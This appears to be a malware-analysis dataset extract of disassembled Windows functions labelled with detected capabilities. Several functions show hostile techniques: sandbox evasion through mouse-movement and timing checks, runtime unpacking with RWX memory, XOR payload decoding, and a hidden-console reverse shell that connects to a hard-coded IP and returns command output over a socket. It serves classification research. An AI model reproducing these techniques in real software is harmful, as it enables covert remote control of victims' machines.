joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ddf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447968
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x46706c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
test edi, edi
je 0x41df03
mov eax, dword [esi]
mov eax, dword [eax + 8]
call eax
test al, al
je 0x41df03
cmp dword [esi + 0x3c], 0
jne 0x41ded9
cmp dword [esi + 0x14], 0
je 0x41ded9
push 0x454304
lea edx, [esi + 4]
lea ecx, [ebp - 0x58]
call fcn.00413e10
lea ecx, [esi + 0x20]
mov dword [ebp - 4], 0
push ecx
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.00413f00
push str..log
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.0040d3e0
add esp, 0xc
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 3
call fcn.004024e0
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 4
call fcn.004024e0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0x40
cmovae eax, dword [ebp - 0x28]
push 0x458c00
push eax
call fcn.0042d0da
add esp, 0xc
mov dword [esi + 0x3c], eax
test eax, eax
jne 0x41deca
call fcn.0042b9b4
mov eax, dword [eax]
mov dword [esi + 0x40], eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.004024e0
mov edx, dword [esi + 0x3c]
test edx, edx
je 0x41df03
mov eax, edi
lea ebx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41dee5
push edx
sub eax, ebx
push eax
push 1
push edi
call fcn.0042b8e3
push dword [esi + 0x3c]
call fcn.0042b28c
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042318e
mov esp, ebp
pop ebp
ret 4
Function at 0x421f30
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00421cb0

Function at 0x432ff0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00432e6f

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [0x403000]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid

Function at 0x40891d
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
sub ecx, ecx
call fcn.0040893d
xor dword [ebx], edx
inc ebx
sub eax, 0x508ef2e1
add eax, 0xff3f0f04
cmp ebx, esi
jne fcn.0040891d
ret
Function at 0x4015d0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff8
call fcn.00402a10
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x406044]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
movzx eax, byte [0x404044]
movzx edx, byte [ebp - 0x40c]
movzx eax, al
movzx edx, dl
sub eax, edx
test eax, eax
jne 0x4016a6
mov eax, dword [0x406044]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x404046
call sym._strncmp
test eax, eax
je 0x401786
mov dword [esp + 8], 7
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], str.persist
call sym._strncmp
test eax, eax
je 0x401786
mov dword [esp + 4], str.r.PhysicalDrive0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
setne al
test al, al
je 0x40174d
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._strcat
jmp 0x40170d
mov eax, dword [0x406044]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x401789
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xdc
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call eax
sub esp, 4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
ja 0x4017bb
mov eax, 0
jmp 0x401940
mov dword [ebp - 0x90], 0x40
lea eax, [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call eax
sub esp, 4
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x7ff
ja 0x401801
mov eax, 0
jmp 0x401940
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0
mov dword [esp], 0x404054
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0x24], eax
mov dword [esp + 0x1c], 0
lea eax, [ebp - 0xac]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0x18
lea eax, [ebp - 0xa8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x70000
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call eax
sub esp, 0x20
mov eax, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x9c]
mov ebx, 0
mov edi, edx
imul edi, ecx
mov esi, ebx
imul esi, eax
add edi, esi
mul ecx
lea ecx, [edi + edx]
mov edx, ecx
mov ecx, dword [ebp - 0x98]
mov ebx, 0
mov esi, edx
imul esi, ecx
mov edi, ebx
imul edi, eax
add esi, edi
mul ecx
lea ecx, [esi + edx]
mov edx, ecx
mov ecx, dword [ebp - 0x94]
mov ebx, 0
mov edi, edx
imul edi, ecx
mov esi, ebx
imul esi, eax
add edi, esi
mul ecx
lea ecx, [edi + edx]
mov edx, ecx
mov ecx, edx
sar ecx, 0x1f
mov ebx, ecx
sar ebx, 0x1f
mov esi, ecx
and esi, 0x3fffffff
mov dword [ebp - 0xc0], esi
and ebx, 0
mov dword [ebp - 0xbc], ebx
add eax, dword [ebp - 0xc0]
adc edx, dword [ebp - 0xbc]
shrd eax, edx, 0x1e
sar edx, 0x1e
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x63
ja 0x40193b
mov eax, 0
jmp 0x401940
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401948
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
call sym.checkSys__
test al, al
je 0x401ad9
mov eax, dword [sym.imp.KERNEL32.dll_AllocConsole]
call eax
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0x10], str.192.168.1.23
mov word [ebp - 0x12], 0x2329
lea eax, [ebp - 0x1bc]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_WSAStartup]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x4019d6
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [0x406044], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x28], 2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
movzx eax, word [ebp - 0x12]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x26], ax
mov eax, dword [0x406044]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x401a84
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401a45
lea eax, [ebp - 0x2c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym.Shell__
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
jmp 0x401a84
mov eax, 1
leave
ret 0x10

Function at 0x401d60
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40607c]
test esi, esi
jle 0x401ee0
mov eax, dword [0x406080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401df4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401e77
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401de0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401f07
mov eax, dword [0x406080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ee7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401e70
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401e80
add dword [0x40607c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401dfe
mov eax, dword [0x406080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x4023c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406090]
sub esp, 4
test ebx, ebx
je 0x402415
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40240e
test esi, esi
je 0x40240e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4023f0
mov dword [esp], 0x406098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402740
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402765
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402770
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402765
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4027b8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4027ae
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4027ba
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4027a0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401039
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401074
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401070
lea ebx, [ebx]
cmp esi, eax
jae 0x401074
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401060
cmp esi, eax
jb 0x40107a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x4040b0
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
push edi
xor edi, edi
cmp eax, edi
mov dword [esi], vtable.CAlarmParse.0
mov dword [esi + 4], edi
mov dword [esi + 8], edi
je 0x4040f8
push 0x3e8
push eax
mov dword [esi + 0x10], edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4040eb
mov eax, dword [esi + 0xc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], edi
lea edx, [esi + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [esi + 0x30]
cmp eax, edi
mov dword [esi + 0x2c], vtable.CList_struct__PARSE_DEVICE_ALARM___struct__PARSE_DEVICE_ALARM__.0
je 0x404116
mov eax, dword [eax]
cmp eax, edi
jne 0x404110
mov ecx, dword [esi + 0x40]
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x30], edi
call fcn.00519c2c
mov dword [esi + 0x40], edi
pop edi
pop esi
ret

Function at 0x404dc0
Capabilities:
Terminate thread

Disassembly:
push 0xffffffffffffffff
push 0x56371b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x5d72e0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi], vtable.CAutoConnectDlg.0
mov eax, dword [esi + 0x180]
test eax, eax
mov dword [esp + 0x14], 5
je 0x404e36
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x404e1f
mov eax, dword [esi + 0x180]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x180]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x180], 0
lea ecx, [esi + 0x204]
call fcn.005186aa
lea ecx, [esi + 0x184]
mov byte [esp + 0x14], 4
call fcn.0049e710
lea ecx, [esi + 0x128]
mov byte [esp + 0x14], 3
call fcn.005186aa
lea ecx, [esi + 0xd4]
mov byte [esp + 0x14], 2
call fcn.00518803
lea ecx, [esi + 0x80]
mov byte [esp + 0x14], 1
call fcn.00519c42
lea ecx, [esi + 0x78]
mov byte [esp + 0x14], 0
mov dword [ecx], vtable.CBrush.0
call fcn.004021e0
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.0050fd6c
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
Function at 0x405950
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x14
push esi
lea eax, [esp + 0x10]
push eax
xor esi, esi
lea ecx, [esp + 0xc]
push ecx
push esi
push 0xf003f
push esi
push esi
push esi
push str.SOFTWARESoftwareNETCMS
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4059de
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x1c]
push ecx
push esi
push str.FirstTimeRun
push edx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [esp + 4], esi
jne 0x4059d3
mov ecx, dword [esp + 8]
push 4
lea eax, [esp + 8]
push eax
push 4
push 0
push str.FirstTimeRun
mov esi, 1
push ecx
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x14
ret
Function at 0x405bd0
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x563b68
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x5d72e0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0xc], edi
mov dword [edi], vtable.CCMSApp.0
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.Playback_UnInit__n
mov dword [esp + 0x1c], 0
call esi
call dword [sym.imp.PlayBack.dll_Ordinal_2]
push str.CTheme::UnInstance__n
call esi
call fcn.004eb1a0
push str.CInitLanguage::UnInstance__n
call esi
call fcn.004e9ed0
push str.CSoftDecoderManage::UnInstance__n
call esi
call fcn.004f43a0
push str.CDecode::UnInstance__n
call esi
call fcn.004edcb0
push str.CDataStream::UnInstance__n
call esi
call fcn.004e9e90
push str.CRecordPlanManage::UnInstance__n
call esi
call fcn.00482aa0
push str.CDownloadPlanManage::UnInstance__n
call esi
call fcn.004802e0
push str.CDevcInfoManager::UnInstance__n
call esi
call fcn.0041bed0
push str.CAlarmParse::UnInstance__n
call esi
call fcn.00403fc0
push str.CLog::UnInstance__n
call esi
call fcn.00483740
push str.CXmlLogManager::UnInstance__n
call esi
call fcn.004ba620
push str.CXmlChnTimeInfo::UnInstance__n
call esi
call fcn.004aefe0
push str.CXmlTimeDownload::UnInstance__n
call esi
call fcn.004ce110
push str.CXmlTimeDownload::UnInstance_after__n
call esi
push str.IDHDataInterface::DeleteObject_IDHDataInterface::XMLDATA__before__n
call esi
push 0
call fcn.00480db0
push 0
call fcn.004fba50
push 1
call fcn.004fba50
push 2
call fcn.004fba50
push 3
call fcn.004fba50
push 5
call fcn.004fba50
push 6
call fcn.004fba50
push 7
call fcn.004fba50
push 8
call fcn.004fba50
push 9
call fcn.004fba50
push 0xa
call fcn.004fba50
push 0xb
call fcn.004fba50
add esp, 0x30
push str.IDHSocketInterFace::DeleteObject_XMBACK_TYPE___n
call esi
push 0xd
call fcn.004fba50
push 0xe
call fcn.004fba50
push 0xf
call fcn.004fba50
push 0x10
call fcn.004fba50
push 0x11
call fcn.004fba50
push 0x12
call fcn.004fba50
push 0x13
call fcn.004fba50
push 0x14
call fcn.004fba50
push 0x15
call fcn.004fba50
push 0x16
call fcn.004fba50
push 0x17
call fcn.004fba50
push 0x17
call fcn.004fba50
add esp, 0x30
push str.IDHSocketInterFace::DeleteObject_HBBACK_TYPE__after__n
call esi
mov eax, dword [edi + 0xa4]
test eax, eax
je 0x405d9b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0xa4], 0
push str.ReleaseExeMutex_after__n
call esi
mov ecx, edi
mov dword [esp + 0x18], 0xffffffff
call fcn.0051b552
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret